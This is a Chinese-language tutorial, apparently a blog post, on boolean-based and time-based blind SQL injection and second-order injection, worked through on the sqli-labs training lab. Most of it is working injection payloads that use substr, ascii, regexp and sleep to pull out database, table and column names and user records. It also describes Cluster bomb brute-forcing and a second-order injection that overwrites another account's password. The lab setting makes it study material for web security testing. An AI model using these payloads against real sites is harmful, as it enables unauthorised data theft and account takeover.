SQL测试-基于布尔,延时盲注

布尔,延时注入常用到的判断语句

regexp   regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等

if       if(条件,5,0) 条件成立 返回5 反之 返回0

sleep     sleep(5) SQL语句延时执行5秒

mid       mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位

substr    substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度

left      left(database(),1),database()显示数据库名称, left(a,b)从左侧截取 a 的前 b 位

length    length(database())=8,判断数据库database()名的长度

ord=ascii ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e

例如判断之后用sleep执行延时功能:

可以看到成功延时5s

基于布尔盲注

0x01 获取数据库名操作Payload:

获取数据库名第一位值

?id=1' and left(database(),1)='s' %23

?id=1' and left(database(),1)>'a' %23

获取数据库名第二位值

?id=1' and left(database(),2) > 'sa' %23

?id=1' and left(database(),2) = 'se' %23

获取数据库名长度值

?id=1' and length(database())=8 %23

然后这个地方可以用字典跑

这个913与众不同,就他正确了

0x02 获取表名操作Payload:

获取第一个表名第一位的值

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23

获取第一个表名第二位的值

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101 %23

获取第二个表名第一位的值

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101 %23

第四个表名第五位的值

改为limit 3,1),5,1 还要改一下ascii码

http://localhost/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5,1))=115 %23

来一次爆破表名

爆破模块介绍:https://blog.csdn.net/qq_39101049/article/details/90234669

ascii码范围:0-127

爆破模块选择:Cluster bomb(集束炸弹) 同pitchfork,起码两个参数,但此操作会计算两个的payload 的笛卡儿积。 比如pl1:1,2,3 pl2:4,5,6 那么第一次爆破为 1,4 第二次为1,5 以此类推 1,6 2,4 2,5.。。。。。。

结果,对号入座就行

0x03 获取列名操作Payload:

获取列名regexp 查询users表第一个列名是否有us...列名

?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+

0x04 获取数据操作Payload:

获取数据 security.users表中username列名的第一个第一位

?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

基于延时盲注

0x01 获取数据库名操作Payload:

获取数据库名第一个第一位

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

0x02 获取表名操作Payload:

获取列名第一个第一位

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100,sleep(5),0)--+

后续参考:https://www.cnblogs.com/xishaonian/p/6113965.html

其他:SQL二次注入测试

案例测试:less-24 及实际举例

数据库更改密码的源码:

到修改密码页面,修改密码:

当没有检验当前密码是否输入正确时,可以修改任意已知账户名的密码

然后我们看回其他账户:

相当于执行命令

UPDATE users SET PASSWORD='hacked' where username='superman' #' and password='a'

应用范围:我们注册一个用户后,然后点击用户的图像类似进入了用户中心,

对应的URL地址:帐号 aaaaa

www.aaaaa.com/member.php?user=aaaaa

反过来想:如果我们在注册的时候将用户名改为:aaaaaa' union select 1,2,3--

总之:将注入语句让web写入到数据库中,web在调用数据库中的数据成为条件查询时,就触发了sql注入

原理:

深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入的更多相关文章

  1. 深入浅出带你玩转sqlilabs(二)

    MYSQL高权限注入 mysql跨库注入 详情请看上一篇:深入浅出带你玩转sqlilabs(一) mysql文件操作注入-sqlilabs less7 可能用到的函数: into outfile()函 ...

  2. 深入浅出带你玩转sqlilabs(一)

    一.MySQL数据库结构分层 1.1库名,表名,列名,数据库用户等 Mysql数据库结构示例: 数据库A zblog = www.zblog.com 表名 列名(字段) 数据 数据库B dede = ...

  3. 深入浅出带你玩转sqlilabs(四)-updatexml(),floor(),extractvalue()报错注入

    SQL各种参数类型下的注入测试 数字型-sqlilabs less2 前面文章已演示过 字符型-sqlilabs less1 前面文章已演示过 搜索型-自写测试 如: www.test.com/ind ...

  4. 深入浅出带你玩转sqlilabs(三)--GET,POST,COOKIE,万能密码注入

    常见提交方式下的注入漏洞 WEB应用在数据传递接受中,针对SQL注入安全漏洞,由于数据大小,格式等原因,脚本在接受传递时会有多种传递方式,传递方式的不同将影响到安全测试的不同 第一点:数据常见提交方式 ...

  5. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  6. SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}

    首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...

  7. 【Python】测试布尔型盲注脚本

    sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...

  8. sqli-labs lession 5 之盲注型SQL入门

    本文作者:Mochazz 如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码. 如果sql语句查询结果不存在,则不会显示”You are ...

  9. sqli-labs:5-6,盲注

    思考1:当# --+都被过滤时,只能考虑闭合处理 思考2:union联合注入时必须先判断字段长度 eg. id=1' order by 3 and '1'='1 sqli5: 首先判断出对id经过了' ...

随机推荐

  1. AtCoder Beginner Contest 171-175 F

    171 F - Strivore 直接把初始字符当成隔板,统计的方案数会有重复 为了避免重复情况,规定隔板字母尽可能最后出现,即在隔板字母后面不能插入含隔板字母的字符串 所以在隔板字母后插入的字符只有 ...

  2. ECMAScript 2016(ES7)新特性简介

    简介 自从ES6(ECMAScript 2015)在2015年发布以来,ECMAScript以每年一个版本的速度持续向前发展.到现在已经是ECMAScript 2020了. 每个版本都有一些新的特性, ...

  3. T1215拯救公主

    1 #include <cstdio> 2 #include <queue> 3 #include <set> 4 #include <cstring> ...

  4. HDU_3949 XOR 【线性基】

    一.题目 XOR 二.分析 给定$N$个数,问它的任意子集异或产生的数进行排列,求第K小的数. 构造出线性基$B$后,如果$|B| < N$,那么代表N个数中有一个数是可以由线性基中的其他数异或 ...

  5. P2261 [CQOI2007]余数求和 【整除分块】

    一.题面 P2261 [CQOI2007]余数求和 二.分析 参考文章:click here 对于整除分块,最重要的是弄清楚怎样求的分得的每个块的范围. 假设$ n = 10 ,k = 5 $ $$  ...

  6. 在CentOS上安装Nginx配置HTTPS并设置系统服务和开机启动(最全教程)

    友情提示:全部配完大约需要20分钟,本教程配合 xshell 和 xftp 使用更佳. 系统配置:CentOS 7.5 本教程 摘繁华 版权所有. 操作按键 常用按键: 复制操作:Shift+Ins ...

  7. python torndb模块

    一.torndb概述 torndb是一个轻量级的基于MySQLdb封装的一个模块,其是tornado框架的一部分.其项目主页为:https://github.com/bdarnell/torndb . ...

  8. Nodejs学习笔记(5) 文件上传系统实例

    目录 2018.8.4更新:  MySQL可以存放几乎任何类型的数据(图片.文档.压缩包等),但这不是最好的解决方案,正常情况下都是在数据库中存放文件路径,图片.音乐.视频.压缩包.文档等文件存放在硬 ...

  9. Java基础知识-简明阐述双亲委派机制及作用

    1.双亲委派机制及作用 1.1 什么是双亲委派机制 当某个类加载器需要加载某个.class文件时,它首先把这个任务委托给他的上级类加载器,递归这个操作,如果上级的类加载器没有加载,自己才会去加载这个类 ...

  10. springboot源码解析-管中窥豹系列之BeanDefine如何加载(十三)

    一.前言 Springboot源码解析是一件大工程,逐行逐句的去研究代码,会很枯燥,也不容易坚持下去. 我们不追求大而全,而是试着每次去研究一个小知识点,最终聚沙成塔,这就是我们的springboot ...